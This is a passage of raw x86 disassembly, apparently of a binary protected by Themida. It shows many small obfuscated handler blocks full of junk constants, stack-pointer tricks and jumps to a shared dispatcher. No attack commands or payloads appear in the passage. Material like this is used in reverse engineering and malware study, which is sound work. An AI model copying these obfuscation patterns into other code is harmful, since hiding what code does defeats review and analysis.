; ---------------------------------------------------------------------------


loc_5665E5:				; CODE XREF: sub_562ABA+665Cj
		sub	ebx, 28D408B0h
		push	esi
		mov	esi, 263E1AFAh
		or	esi, 3DA64BB5h
		jmp	loc_564178
; ---------------------------------------------------------------------------


loc_5665FC:				; CODE XREF: sub_561E53+43j
		mov	eax, edi
		pop	edi
		add	eax, 474C448Bh
		xor	eax, 11126C9Bh
		push	ebx
		jmp	loc_571B3F
; ---------------------------------------------------------------------------


loc_56660F:				; CODE XREF: sub_562ABA-2E47j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56743E
; ---------------------------------------------------------------------------


loc_56661C:				; CODE XREF: sub_562ABA+5DE0j
		sub	ebx, 28B41B88h
		or	ecx, ebx
		jmp	loc_569F4B
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_566631:				; CODE XREF: sub_562ABA+5AFEj
		add	edi, ebx
		pop	ebx
		push	[esp+14h+var_16+2]
		pop	ecx
		push	3D86h
		mov	[esp+18h+var_1A+2], edi
		jmp	loc_56DBBE
; ---------------------------------------------------------------------------


loc_566645:				; CODE XREF: sub_562ABA+1D08j
		add	esp, 4
		xchg	ecx, [esp+6+var_8+2]
		jmp	loc_56C9EA
; ---------------------------------------------------------------------------


loc_566650:				; CODE XREF: sub_562ABA+6B7Ej
		push	5820h
		mov	[esp+0Ah+var_C+2], ecx
		mov	ecx, 20C9280Bh
		xchg	ebp, ecx
		neg	ebp
		xchg	ebp, ecx
		jmp	sub_55E502
; ---------------------------------------------------------------------------


loc_566668:				; CODE XREF: sub_562ABA-1216j
		pop	[esp+36h+var_36]
		mov	esp, [esp+32h+var_32]
		sub	esp, 4
		jmp	loc_56FD85
; ---------------------------------------------------------------------------


loc_566676:				; CODE XREF: sub_562ABA+DCAAj
		pop	ecx
		jmp	loc_56270D
; ---------------------------------------------------------------------------


loc_56667C:				; CODE XREF: sub_562ABA+679Aj
		pop	ebp
		pop	dword ptr [esp+0]
		pop	esp
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		jmp	loc_56E15D
; ---------------------------------------------------------------------------
		neg	[esp+26h+var_28+2]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5666A0:				; CODE XREF: sub_562ABA+8AE2j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2Ah+var_2C+2]
		pop	esp
		jmp	loc_55E6C2
; ---------------------------------------------------------------------------


loc_5666B4:				; CODE XREF: sub_562ABA-430j
		sub	ebx, eax
		push	1A50h
		jmp	loc_569FCE
; ---------------------------------------------------------------------------


loc_5666C0:				; CODE XREF: sub_562ABA+8FD1j
		pop	eax
		sub	ebx, 4A265491h
		jmp	loc_56C2B2
; ---------------------------------------------------------------------------


loc_5666CC:				; CODE XREF: sub_562ABA+45A5j
		mov	[esp-0Ah+arg_4+2], edx
		mov	edx, esp
		jmp	loc_56F1FF
; ---------------------------------------------------------------------------


loc_5666D6:				; CODE XREF: sub_562ABA-16A1j
		neg	ecx
		shr	ecx, 2
		jmp	loc_563174
; ---------------------------------------------------------------------------


loc_5666E0:				; CODE XREF: sub_562ABA+E68Fj
		sub	ah, 37h
		jmp	loc_56F338
; ---------------------------------------------------------------------------


loc_5666E8:				; CODE XREF: sub_562ABA+AA9Ej
		pop	esi
		jmp	loc_56F963
; ---------------------------------------------------------------------------


loc_5666EE:				; CODE XREF: sub_562ABA+A8Ej
		xor	[esp+36h+var_36], eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5666F6:				; CODE XREF: sub_562ABA+E39Aj
		mov	esi, 713F23FFh
		not	esi
		and	esi, 256F2FE7h
		inc	esi
		jmp	loc_571C34
; ---------------------------------------------------------------------------


loc_566709:				; CODE XREF: sub_562ABA+11F5j
		pop	[esp+32h+var_32]
		mov	esp, [esp+0]
		push	189Ah
		mov	[esp+32h+var_32], ecx
		jmp	loc_56523E
; ---------------------------------------------------------------------------


loc_56671C:				; CODE XREF: sub_562ABA+C1BFj
		push	[esp+32h+var_32]
		jmp	loc_5635A6
; ---------------------------------------------------------------------------


loc_566724:				; CODE XREF: sub_562ABA+1D8Aj
		pop	eax
		push	ecx
		mov	ecx, 2AF655BBh
		jmp	loc_5669CF
; ---------------------------------------------------------------------------


loc_566730:				; CODE XREF: sub_562ABA+DAC2j
		mov	edx, esp
		add	edx, 4
		jmp	loc_56639D
; ---------------------------------------------------------------------------


loc_56673D:				; CODE XREF: sub_562ABA+819Dj
		and	edi, 5C816239h
		jmp	loc_56CBB6
; ---------------------------------------------------------------------------


loc_566748:				; CODE XREF: sub_562ABA-210Aj
		mul	cl
		movzx	cx, ah
		jmp	loc_56D8BE
; ---------------------------------------------------------------------------


loc_566753:				; CODE XREF: sub_562ABA+7698j
		pop	ebx
		jmp	loc_55F1BC
; ---------------------------------------------------------------------------


loc_566759:				; CODE XREF: sub_562ABA+FE92j
		push	cx
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_566761:				; CODE XREF: sub_562ABA+99D0j
		sub	bl, 3Ch
		dec	bl
		sub	bl, 0E5h
		jmp	loc_56736E
; ---------------------------------------------------------------------------


loc_56676E:				; CODE XREF: sub_562ABA+BAB0j
		sub	ebp, 4
		jmp	loc_56AA9F
; ---------------------------------------------------------------------------


loc_566779:				; CODE XREF: sub_562ABA+5F2j
		mov	edi, 20E109Fh
		shr	edi, 6
		add	edi, 49B24DF9h
		sub	edi, 6B53335Bh
		jmp	loc_56D89E
; ---------------------------------------------------------------------------


loc_566792:				; CODE XREF: sub_562ABA+8424j
		pop	ecx
		pop	ebp
		push	eax
		mov	eax, 2
		jmp	loc_56773C
; ---------------------------------------------------------------------------


loc_56679F:				; CODE XREF: sub_562ABA+EC1j
		mov	eax, esp
		jmp	loc_56B8C1
; ---------------------------------------------------------------------------


loc_5667A6:				; CODE XREF: sub_562ABA+1202j
		pop	esi
		jmp	loc_564A45
; ---------------------------------------------------------------------------


loc_5667AC:				; CODE XREF: sub_562ABA+F330j
		mov	edi, [esp+0]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56ADDD
; ---------------------------------------------------------------------------


loc_5667BA:				; CODE XREF: sub_562ABA-3004j
		pop	esp
		push	esp
		pop	[esp+12h+var_12]
		push	esi
		jmp	loc_563F4E
; ---------------------------------------------------------------------------


loc_5667C5:				; CODE XREF: sub_562ABA+68B1j
		add	esi, 4
		jmp	loc_56B110
; ---------------------------------------------------------------------------


loc_5667CD:				; CODE XREF: sub_562ABA+2DFFj
		sub	ecx, edx
		jmp	loc_5695CD
; ---------------------------------------------------------------------------


loc_5667D4:				; CODE XREF: sub_562ABA+1F45j
		mov	edi, 4BC011C4h
		jmp	loc_56088F
; ---------------------------------------------------------------------------


loc_5667DE:				; CODE XREF: sub_562ABA+E980j
		push	107Bh
		jmp	loc_565616
; ---------------------------------------------------------------------------


loc_5667E8:				; CODE XREF: sub_562ABA+9F33j
		cmp	cl, al
		pushf
		jmp	loc_572AFA
; ---------------------------------------------------------------------------


loc_5667F0:				; CODE XREF: sub_562ABA+6084j
		neg	ebx
		not	ebx
		sub	esp, 4
		jmp	loc_5618EA
; ---------------------------------------------------------------------------


loc_5667FC:				; CODE XREF: sub_562ABA-E8Bj
		mov	eax, [esp+10h+var_12+2]
		add	esp, 4
		add	al, 0B3h
		sub	al, bl
		sub	al, 0B3h
		mov	bx, word ptr [esp+0Ch+var_C]
		push	6F3h
		mov	[esp+10h+var_12+2], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 261744B5h
		sub	ebp, 261744B1h
		add	edi, ebp
		pop	ebp
		jmp	loc_55EC75
; ---------------------------------------------------------------------------


loc_56682D:				; CODE XREF: sub_562ABA+CE48j
		push	5FB85CBFh
		pop	eax
		shr	eax, 7
		sub	eax, 5334415Ch
		dec	eax
		xor	eax, 97120D04h
		mov	ecx, eax
		pop	eax
		and	ebp, ecx
		pop	ecx
		jmp	loc_571921
; ---------------------------------------------------------------------------


loc_56684C:				; CODE XREF: sub_562ABA+EE62j
		pop	esi
		push	ebx
		jmp	loc_563126
; ---------------------------------------------------------------------------


loc_566853:				; CODE XREF: sub_562ABA+6A46j
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], edx
		jmp	loc_56D0ED
; ---------------------------------------------------------------------------


loc_566868:				; CODE XREF: sub_562ABA+680Ej
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	ebx
		mov	ebx, 26985127h
		sub	esp, 4
		mov	[esp+10h+var_12+2], ebx
		add	[esp+10h+var_12+2], 1FA125A9h
		pop	ebp
		sub	esp, 4
		mov	[esp+10h+var_12+2], eax
		jmp	loc_57244A
; ---------------------------------------------------------------------------


loc_566897:				; CODE XREF: sub_562ABA-3485j
		or	esi, 19C71CDDh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], edi
		mov	edi, 1
		add	esi, edi
		pop	edi
		dec	esi
		dec	esi
		jmp	loc_569BD7
; ---------------------------------------------------------------------------


loc_5668BF:				; CODE XREF: sub_562ABA+2F04j
		add	ebp, ecx
		add	ebp, 18A01FC5h
		jmp	loc_56158C
; ---------------------------------------------------------------------------


loc_5668CC:				; CODE XREF: sub_562ABA+2280j
		push	4D92h
		jmp	loc_567FAC
; ---------------------------------------------------------------------------


loc_5668D6:				; CODE XREF: sub_562ABA+CF4Dj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+32h+var_32]
		pop	esp
		mov	[esp+0], edx
		push	[esp+2Eh+var_2C+2]
		push	[esp+32h+var_32]
		pop	edx
		push	edx
		push	4B09h
		mov	[esp+3Ah+var_3A], esp
		add	[esp+3Ah+var_3A], 4
		pop	edx
		push	ecx
		mov	ecx, 26A83C91h
		neg	ecx
		or	ecx, 79A2639Ch
		sub	ecx, 7C9F06F9h
		dec	ecx
		xchg	edx, ecx
		neg	edx
		xchg	edx, ecx
		jmp	loc_567E2C
; ---------------------------------------------------------------------------


loc_56691E:				; CODE XREF: sub_562ABA+1A1Aj
		push	edx
		mov	edx, 49F07FB8h
		add	eax, edx
		pop	edx
		add	eax, 25E66D3Bh
		pop	edi
		add	eax, 4
		jmp	loc_56D3D7
; ---------------------------------------------------------------------------


loc_566937:				; CODE XREF: sub_562ABA-20B0j
		mov	[esp+1Ah+var_1A], ecx
		push	esi
		mov	esi, 42B1551Bh
		xor	esi, 30E65BC4h
		push	edx
		mov	edx, 1FF30CABh
		shr	edx, 6
		inc	edx
		sub	edx, 0F7FAB7D8h
		and	esi, edx
		pop	edx
		jmp	loc_565C40
; ---------------------------------------------------------------------------


loc_56695E:				; CODE XREF: sub_562ABA+9E6Aj
		mov	esp, [esp+1Eh+var_1E]
		inc	word ptr [esp+1Eh+var_1E]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56696B:				; CODE XREF: sub_562ABA-1DA0j
		push	esp
		jmp	loc_567813
; ---------------------------------------------------------------------------


loc_566971:				; CODE XREF: sub_562ABA+FB6Fj
		mov	bh, dh
		pop	edx
		mov	ecx, [esp-0Ah+arg_4+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5650E4
; ---------------------------------------------------------------------------


loc_56698D:				; CODE XREF: sub_562ABA+BC2Cj
		dec	eax
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		mov	ebx, 3BC04F60h
		and	eax, ebx
		jmp	loc_56D0A9
; ---------------------------------------------------------------------------


loc_5669A3:				; CODE XREF: sub_562ABA+820Bj
		mov	bl, 2Dh
		jmp	loc_561F5F
; ---------------------------------------------------------------------------


loc_5669AA:				; CODE XREF: sub_562ABA+F06Aj
		push	[esp+2+var_4+2]
		mov	ebx, [esp+6+var_8+2]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+0Ah+var_8+2]
		mov	esi, [esp+0]
		jmp	loc_56106C
; ---------------------------------------------------------------------------


loc_5669CF:				; CODE XREF: sub_562ABA+3C71j
		not	ecx
		add	ecx, 6F4E720Ah
		xor	ebp, ecx
		pop	ecx
		mov	edi, ebp
		jmp	loc_570931
; ---------------------------------------------------------------------------


loc_5669E1:				; CODE XREF: sub_562ABA+CB97j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5669E6:				; CODE XREF: sub_562ABA+D665j
		sub	ebp, 0F3D5FDF2h
		jmp	loc_56EF53
; ---------------------------------------------------------------------------


loc_5669F1:				; CODE XREF: sub_562ABA-551j
		shl	eax, 6
		sub	eax, 0D177E47Ch
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_56F954
; ---------------------------------------------------------------------------


loc_566A07:				; CODE XREF: sub_562ABA+6B48j
		mov	esp, [esp+0]
		push	edx
		jmp	loc_565BF9
; ---------------------------------------------------------------------------


loc_566A10:				; CODE XREF: sub_562ABA-3E74j
		pop	ebp
		neg	esi
		xor	esi, 0B8B4E4D1h
		mov	ebp, esi
		pop	esi
		or	ebp, 50927531h
		push	1601h
		mov	[esp+22h+var_22], ebp
		dec	[esp+22h+var_22]
		push	[esp+22h+var_22]
		jmp	loc_565176
; ---------------------------------------------------------------------------


loc_566A35:				; CODE XREF: sub_562ABA+2D1Fj
		add	edx, ecx
		push	edi
		mov	edi, 12903EADh
		jmp	loc_55F091
; ---------------------------------------------------------------------------


loc_566A42:				; CODE XREF: sub_562ABA+798Cj
		push	ecx
		mov	ecx, 1BA71369h
		push	esi
		mov	esi, 675A61CFh
		jmp	loc_569D04
; ---------------------------------------------------------------------------


loc_566A53:				; CODE XREF: sub_562ABA+49Bj
		add	dh, 73h
		sub	bl, dh
		pop	edx
		or	bl, 9Bh
		add	bl, 51h
		jmp	loc_5696C2
; ---------------------------------------------------------------------------


loc_566A64:				; CODE XREF: sub_562ABA+832Ej
		add	esp, 4
		push	[esp+0Ch+var_C]
		pop	eax
		push	593Ch
		mov	[esp+10h+var_12+2], eax
		mov	eax, esp
		push	ebx
		push	ecx
		jmp	loc_56B29D
; ---------------------------------------------------------------------------


loc_566A7C:				; CODE XREF: sub_562ABA+37A1j
		dec	ebp
		xor	ebp, 76CF7ECEh
		sub	ecx, 50FC3273h
		jmp	loc_5622F9
; ---------------------------------------------------------------------------


loc_566A8E:				; CODE XREF: sub_562ABA+9B96j
		push	ecx
		mov	ecx, 71075A12h
		xor	ecx, 30E41137h
		add	ecx, 36064904h
		shl	ecx, 8
		not	ecx
		and	ecx, 1F60584Dh
		add	ecx, 3A0D55B7h
		xor	edi, ecx
		pop	ecx
		push	edi
		mov	edi, 0F687206h
		and	edi, 0D05B9Bh
		inc	edi
		jmp	loc_56A6D6
; ---------------------------------------------------------------------------


loc_566AC6:				; CODE XREF: sub_562ABA+1AC6j
		pop	ecx
		sub	esi, 50902228h
		add	esi, ebx
		add	esi, 50902228h
		pop	ebx
		add	esi, eax
		push	eax
		push	esi
		mov	esi, 795D069Eh
		jmp	loc_5627D9
; ---------------------------------------------------------------------------


loc_566AE4:				; CODE XREF: sub_562ABA-41C0j
		push	ebp
		mov	ebp, 68092302h
		jmp	loc_561558
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0Ch+var_C]
		jmp	loc_565D78
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_56A825
		push	eax
		push	esi
		push	ebp
		push	5E9F2128h
		pop	ebp
		not	ebp
		shr	ebp, 7
		not	ebp
		sub	ebp, 9E48C95Bh
		mov	esi, ebp
		mov	ebp, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_56937D
; ---------------------------------------------------------------------------


loc_566B29:				; CODE XREF: sub_562ABA+89E5j
		add	ecx, 0BEEBE959h
		mov	ebp, ecx
		pop	ecx
		sub	ecx, 4B0050E6h
		add	ecx, ebp
		add	ecx, 4B0050E6h
		jmp	loc_5640AF
; ---------------------------------------------------------------------------


loc_566B45:				; CODE XREF: sub_562ABA+CE5Fj
		pop	ecx
		xor	cl, ah
		mov	ax, word ptr [esp+0Ch+var_C]
		jmp	loc_571890
; ---------------------------------------------------------------------------


loc_566B51:				; CODE XREF: sub_562ABA+929j
		mov	esp, [esp+0]
		shl	eax, cl
		push	101Fh
		jmp	loc_5643C0
; ---------------------------------------------------------------------------


loc_566B60:				; CODE XREF: sub_562ABA+6174j
		mov	[esp+32h+var_32], ebp
		push	esp
		mov	ebp, [esp+36h+var_36]
		push	0CB3h
		jmp	loc_56A2BD
; ---------------------------------------------------------------------------


loc_566B71:				; CODE XREF: sub_562ABA+CBF8j
		sub	esp, 4
		jmp	loc_5723DE
; ---------------------------------------------------------------------------


loc_566B7C:				; CODE XREF: sub_562ABA+E944j
		mov	ebp, [esp+3Eh+var_3E]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56F870
; ---------------------------------------------------------------------------


loc_566B90:				; CODE XREF: sub_562ABA+AC49j
		xor	dh, 0AFh
		and	ah, dh
		jmp	loc_56F8E0
; ---------------------------------------------------------------------------


loc_566B9A:				; CODE XREF: sub_562ABA+349Aj
		add	esp, 4
		xor	esi, eax
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		push	edi
		mov	edi, 1
		add	esi, edi
		pop	edi
		dec	esi
		add	esi, 0A540DEA9h
		push	edx
		jmp	loc_567CB1
; ---------------------------------------------------------------------------


loc_566BBB:				; CODE XREF: sub_562ABA-32D8j
		mov	edx, eax
		pop	eax
		jmp	loc_56964C
; ---------------------------------------------------------------------------


loc_566BC3:				; CODE XREF: sub_562ABA+9E0Aj
		push	4799h
		mov	[esp+1Eh+var_1E], edi
		mov	edi, 2FE44AC9h
		jmp	loc_561762
; ---------------------------------------------------------------------------


loc_566BD5:				; CODE XREF: sub_562ABA-28A1j
		mov	edx, 19433B37h
		inc	edx
		dec	edx
		sub	edx, 0F2E809F9h
		jmp	loc_5631BF
; ---------------------------------------------------------------------------


loc_566BE7:				; CODE XREF: sub_562ABA+276Cj
		sub	esp, 4
		mov	[esp+3Ah+var_3A], ebp
		push	1CE5h
		jmp	loc_568491
; ---------------------------------------------------------------------------


loc_566BF7:				; CODE XREF: sub_562ABA-3FFDj
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 7BB95FBDh
		jmp	loc_56EFE7
; ---------------------------------------------------------------------------


loc_566C0A:				; CODE XREF: sub_562ABA+AFj
		push	ebx
		mov	ebx, 5151761Ah
		sub	ebx, 20175722h
		jmp	loc_55E55B
; ---------------------------------------------------------------------------


loc_566C1B:				; CODE XREF: sub_562ABA+58C7j
		add	[esp+1Ah+var_16], edx
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		push	[esp+16h+var_16]
		mov	eax, [esp+1Ah+var_1A]
		jmp	loc_5704D4
; ---------------------------------------------------------------------------


loc_566C33:				; CODE XREF: sub_562ABA+E886j
		mov	[esp+1Ah+var_1A], eax
		push	esp
		pop	eax
		jmp	loc_56C769
; ---------------------------------------------------------------------------


loc_566C3D:				; CODE XREF: sub_562ABA+2593j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], edx
		push	ebx
		push	eax
		mov	eax, 2C940F50h
		jmp	loc_56A982
; ---------------------------------------------------------------------------


loc_566C5E:				; CODE XREF: sub_562ABA+1B40j
		add	esp, 4
		mov	esi, [esp+36h+var_36]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edx
		mov	edx, 7E00CF5h
		jmp	loc_570B0E
; ---------------------------------------------------------------------------


loc_566C7B:				; CODE XREF: sub_562ABA+DD04j
		push	ebp
		push	[esp+3Eh+var_3A]
		mov	ebp, [esp+42h+var_42]
		add	esp, 4
		jmp	loc_561550
; ---------------------------------------------------------------------------


loc_566C8E:				; CODE XREF: sub_562ABA+24E3j
		add	ebx, 57BC20DBh
		jmp	loc_572951
; ---------------------------------------------------------------------------


loc_566C99:				; CODE XREF: sub_562ABA+45ADj
		mov	[esp+16h+var_16], edi
		push	ebp
		jmp	loc_570CCA
; ---------------------------------------------------------------------------


loc_566CA2:				; CODE XREF: sub_562ABA-1AAFj
		pop	ebx
		jmp	loc_571F0F
; ---------------------------------------------------------------------------


loc_566CA8:				; CODE XREF: sub_562ABA-36Aj
		add	edi, edx
		add	edi, 786449EBh
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		add	edi, 2
		jmp	loc_566543
; ---------------------------------------------------------------------------


loc_566CC1:				; CODE XREF: sub_562ABA-1341j
		add	ebx, 2FE44AC9h
		push	edx
		jmp	loc_562F5A
; ---------------------------------------------------------------------------


loc_566CCD:				; CODE XREF: sub_562ABA+61F8j
		sub	edx, 2D38598Bh
		pop	ebx
		xchg	edx, [esp+0]
		pop	esp
		xor	[esp+2Ah+var_2C+2], eax
		xor	eax, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_566CE6:				; CODE XREF: Themida_:00561817j
		pop	eax
		push	3A5Ch
		mov	[esp+2Ah+var_2C+2], ebp
		push	3A3Ch
		push	4E33h
		mov	[esp+32h+var_32], esp
		push	esi
		jmp	loc_56B05F
; ---------------------------------------------------------------------------


loc_566D02:				; CODE XREF: sub_562ABA-44C8j
		add	esi, 4
		xchg	esi, [esp+46h+var_46]
		pop	esp
		jmp	loc_5645D3
; ---------------------------------------------------------------------------


loc_566D0E:				; CODE XREF: sub_55FCA5+149j
		dec	ecx
		dec	ecx
		jmp	loc_5719B7
; ---------------------------------------------------------------------------


loc_566D15:				; CODE XREF: sub_562ABA+DCF0j
		sub	eax, ebx
		jmp	loc_55E0B7
; ---------------------------------------------------------------------------


loc_566D1C:				; CODE XREF: sub_562ABA+CAj
		push	46A21C84h
		pop	ebp
		and	ebp, 1A333345h
		shr	ebp, 7
		neg	ebp
		jmp	loc_56F10F
; ---------------------------------------------------------------------------


loc_566D32:				; DATA XREF: Themida_:0055DFB0o
		push	602Ah
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		mov	[esp+1Ah+var_1A], ecx
		mov	ecx, 1CA42293h
		push	ecx
		neg	[esp+1Eh+var_1E]
		pop	ecx
		xor	ecx, 0E35BDD6Ch
		or	[edi+1Ch], ecx
		push	[esp+1Ah+var_1A]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+1Eh+var_1E]
		jmp	loc_55F750
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Eh+var_1E]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+22h+var_22]
		xor	[esp+22h+var_22], ebp
		xor	ebp, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_5725CD
; ---------------------------------------------------------------------------


loc_566DA3:				; CODE XREF: sub_562ABA+5510j
		mov	[esp+22h+var_22], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55F826
; ---------------------------------------------------------------------------


loc_566DB9:				; CODE XREF: sub_562ABA+59C8j
		and	bl, 0A5h
		add	bl, 0Ah
		add	bl, 0C0h
		sub	bl, 0Fh
		or	dh, bl
		pop	ebx
		jmp	loc_56BF4B
; ---------------------------------------------------------------------------


loc_566DCD:				; CODE XREF: sub_562ABA-1228j
		mov	[esp+32h+var_32], eax
		mov	eax, 66281CA8h
		xchg	eax, ebp
		not	ebp
		jmp	loc_563BD5
; ---------------------------------------------------------------------------


loc_566DDD:				; CODE XREF: sub_562ABA-1B71j
		mov	ebx, 62457615h
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], eax
		mov	eax, 3C4624C0h
		push	esi
		mov	esi, 64344775h
		sub	esi, 15A03907h
		shl	esi, 4
		push	eax
		mov	eax, 1A1A62C5h
		not	eax
		shr	eax, 2
		neg	eax
		inc	eax
		sub	eax, 3CAD3070h
		add	eax, 9159F896h
		and	esi, eax
		pop	eax
		neg	esi
		inc	esi
		sub	esi, 0F6FF9F42h
		add	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 1B536499h
		push	edi
		jmp	loc_5655DD
; ---------------------------------------------------------------------------


loc_566E32:				; CODE XREF: Themida_:005728E4j
		sub	esp, 4
		mov	[esp+58h+var_5A+2], ebp
		jmp	loc_56A1D4
; ---------------------------------------------------------------------------


loc_566E40:				; CODE XREF: sub_562ABA+9FAFj
		push	edx
		jmp	loc_56970F
; ---------------------------------------------------------------------------


loc_566E46:				; CODE XREF: sub_562ABA+1BD1j
		sub	edx, 79587C9Dh
		mov	eax, [esp+4Ah+var_4A]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_563319
; ---------------------------------------------------------------------------


loc_566E5E:				; CODE XREF: sub_562ABA+4A6Bj
		push	7B3Dh
		mov	[esp+56h+var_56], eax
		push	eax
		jmp	loc_56FA52
; ---------------------------------------------------------------------------


loc_566E6C:				; CODE XREF: sub_562ABA+6C3Cj
		pop	edx
		mov	dl, cl
		push	[esp+56h+var_56]
		push	[esp+5Ah+var_5A]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+5Eh+var_5E]
		pop	esp
		add	esp, 4
		add	al, 86h
		jmp	loc_56B2EA
; ---------------------------------------------------------------------------


loc_566E96:				; CODE XREF: sub_562ABA+EE40j
		push	[esp+56h+var_56]
		push	[esp+5Ah+var_5A]
		push	[esp+5Eh+var_5E]
		jmp	loc_55FAF5
; ---------------------------------------------------------------------------


loc_566EA4:				; CODE XREF: sub_562ABA+1E2Dj
		xchg	esi, [esp+2Ah+var_2C+2]
		pop	esp
		sub	eax, edx
		jmp	loc_56C385
; ---------------------------------------------------------------------------


loc_566EAF:				; CODE XREF: sub_562ABA+2112j
		push	eax
		push	2CA85648h
		jmp	loc_565A6E
; ---------------------------------------------------------------------------


loc_566EBA:				; CODE XREF: sub_562ABA-3252j
		pop	ebp
		xor	ecx, 0C786A49Dh
		push	ecx
		pop	ebp
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		sub	ebx, 2DD13F42h
		sub	ebx, 3BA87162h
		sub	ebx, ebp
		add	ebx, 3BA87162h
		add	ebx, 2DD13F42h
		push	[esp+1Ah+var_1A]
		pop	ebp
		jmp	loc_561480
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Ah+var_1A]
		push	479Eh
		mov	[esp+1Eh+var_1E], esi
		jmp	loc_563AF8
; ---------------------------------------------------------------------------


loc_566EFD:				; CODE XREF: sub_562ABA+AD3Bj
		xor	al, bl
		push	ecx
		mov	ch, 0F8h
		push	ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		push	ebx
		push	[esp+2Ah+var_28+2]
		jmp	loc_55F8C2
; ---------------------------------------------------------------------------


loc_566F1E:				; CODE XREF: sub_562ABA+C4A8j
		xor	[esp+0], al
		pushf
		jmp	loc_563309
; ---------------------------------------------------------------------------


loc_566F27:				; CODE XREF: sub_562ABA+C9B9j
		sub	ecx, 58D11FCDh
		push	eax
		mov	eax, 551C3BDDh
		jmp	loc_56319A
; ---------------------------------------------------------------------------


loc_566F38:				; CODE XREF: sub_562ABA+24C5j
		add	esp, 4
		pop	ebx
		push	[esp+12h+var_12]
		pop	edx
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_566F4E:				; CODE XREF: sub_562ABA+8E02j
		push	53EFh
		jmp	loc_56DCCA
; ---------------------------------------------------------------------------


loc_566F58:				; CODE XREF: sub_562ABA-1567j
		pop	esp
		mov	[esp-16h+arg_10+2], ecx
		jmp	loc_564E51
; ---------------------------------------------------------------------------


loc_566F61:				; CODE XREF: sub_562ABA+5896j
		push	ebp
		jmp	loc_56FFAC
; ---------------------------------------------------------------------------


loc_566F67:				; CODE XREF: sub_562ABA-2F88j
		add	ecx, 6DF2755Bh
		xor	esi, ecx
		pop	ecx
		push	494Eh
		mov	[esp+16h+var_16], ebx
		mov	ebx, 23141590h
		add	edi, 23093FB9h
		sub	edi, ebx
		sub	edi, 23093FB9h
		push	[esp+16h+var_16]
		pop	ebx
		jmp	loc_560F61
; ---------------------------------------------------------------------------


loc_566F94:				; CODE XREF: sub_562ABA+85F0j
		mov	esp, [esp+16h+var_16]
		jmp	loc_567F20
; ---------------------------------------------------------------------------


loc_566F9C:				; CODE XREF: sub_562ABA+956Aj
		push	esp
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, 4CA3607Ch
		add	ebx, edx
		sub	ebx, 4CA3607Ch
		pop	edx
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		sub	ebx, esi
		mov	esi, [esp+1Ah+var_1A]
		jmp	loc_5708E5
; ---------------------------------------------------------------------------


loc_566FC7:				; CODE XREF: sub_562ABA-2513j
		push	eax
		jmp	loc_561729
; ---------------------------------------------------------------------------


loc_566FCD:				; CODE XREF: sub_562ABA+2F5Ej
		mov	cl, 7Fh
		add	cl, 15h
		jmp	loc_5663DB
; ---------------------------------------------------------------------------


